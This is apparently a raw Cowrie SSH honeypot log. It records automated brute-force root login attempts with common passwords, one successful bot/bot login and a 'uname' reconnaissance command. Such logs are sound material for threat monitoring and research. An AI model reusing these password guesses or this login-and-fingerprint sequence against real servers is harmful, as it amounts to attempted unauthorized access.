{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51088,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0ff11519d02","protocol":"ssh","message":"New connection: 60.165.124.241:51088 (10.17.0.5:22) [session: d0ff11519d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:57.796466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:57.801073Z","src_ip":"60.165.124.241","session":"d0ff11519d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:58.056535Z","src_ip":"60.165.124.241","session":"d0ff11519d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwertyuiop123.","message":"login attempt [root/Qwertyuiop123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:58.820477Z","src_ip":"60.165.124.241","session":"d0ff11519d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:00.683309Z","src_ip":"60.165.124.241","session":"d0ff11519d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54748,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ec9d89490f7","protocol":"ssh","message":"New connection: 60.165.124.241:54748 (10.17.0.5:22) [session: 5ec9d89490f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:00.919785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:00.924546Z","src_ip":"60.165.124.241","session":"5ec9d89490f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:01.167642Z","src_ip":"60.165.124.241","session":"5ec9d89490f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Google.com","message":"login attempt [root/Google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:01.905176Z","src_ip":"60.165.124.241","session":"5ec9d89490f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:03.728877Z","src_ip":"60.165.124.241","session":"5ec9d89490f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58354,"dst_ip":"10.17.0.5","dst_port":22,"session":"062025ece35d","protocol":"ssh","message":"New connection: 60.165.124.241:58354 (10.17.0.5:22) [session: 062025ece35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:03.989791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:03.996140Z","src_ip":"60.165.124.241","session":"062025ece35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:04.249368Z","src_ip":"60.165.124.241","session":"062025ece35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa8888","message":"login attempt [root/aaaa8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:05.739663Z","src_ip":"60.165.124.241","session":"062025ece35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:06.992383Z","src_ip":"60.165.124.241","session":"062025ece35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34038,"dst_ip":"10.17.0.5","dst_port":22,"session":"2195684add59","protocol":"ssh","message":"New connection: 60.165.124.241:34038 (10.17.0.5:22) [session: 2195684add59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:08.224836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:08.229124Z","src_ip":"60.165.124.241","session":"2195684add59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:11.465757Z","src_ip":"60.165.124.241","session":"2195684add59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B64b@d01DB","message":"login attempt [root/B64b@d01DB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:12.190490Z","src_ip":"60.165.124.241","session":"2195684add59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:13.994646Z","src_ip":"60.165.124.241","session":"2195684add59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42112,"dst_ip":"10.17.0.5","dst_port":22,"session":"81b3b41907ad","protocol":"ssh","message":"New connection: 60.165.124.241:42112 (10.17.0.5:22) [session: 81b3b41907ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:14.237318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:14.241302Z","src_ip":"60.165.124.241","session":"81b3b41907ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:15.182430Z","src_ip":"60.165.124.241","session":"81b3b41907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@1234","message":"login attempt [root/Test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:15.918858Z","src_ip":"60.165.124.241","session":"81b3b41907ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:17.172304Z","src_ip":"60.165.124.241","session":"81b3b41907ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45428,"dst_ip":"10.17.0.5","dst_port":22,"session":"54528bd23721","protocol":"ssh","message":"New connection: 60.165.124.241:45428 (10.17.0.5:22) [session: 54528bd23721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:17.407187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:17.412389Z","src_ip":"60.165.124.241","session":"54528bd23721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:17.650581Z","src_ip":"60.165.124.241","session":"54528bd23721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trend","message":"login attempt [root/trend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:20.812097Z","src_ip":"60.165.124.241","session":"54528bd23721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.054848Z","src_ip":"60.165.124.241","session":"54528bd23721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51140,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67e4ec4f6b7","protocol":"ssh","message":"New connection: 60.165.124.241:51140 (10.17.0.5:22) [session: c67e4ec4f6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.289795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.294147Z","src_ip":"60.165.124.241","session":"c67e4ec4f6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.532258Z","src_ip":"60.165.124.241","session":"c67e4ec4f6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34168,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce9492e9a07","protocol":"ssh","message":"New connection: 2.57.122.208:34168 (159.203.135.109:22) [session: 3ce9492e9a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.674960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.936395Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:22.941661Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:24.326051Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:24.984679Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:24.988458Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin$123","message":"login attempt [root/Admin$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:25.164869Z","src_ip":"60.165.124.241","session":"c67e4ec4f6b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:25.340023Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:25.344614Z","src_ip":"2.57.122.208","session":"3ce9492e9a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:26.406117Z","src_ip":"60.165.124.241","session":"c67e4ec4f6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56314,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebfb2e62b432","protocol":"ssh","message":"New connection: 60.165.124.241:56314 (10.17.0.5:22) [session: ebfb2e62b432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:26.643589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:26.647313Z","src_ip":"60.165.124.241","session":"ebfb2e62b432","protocol":"ssh"}
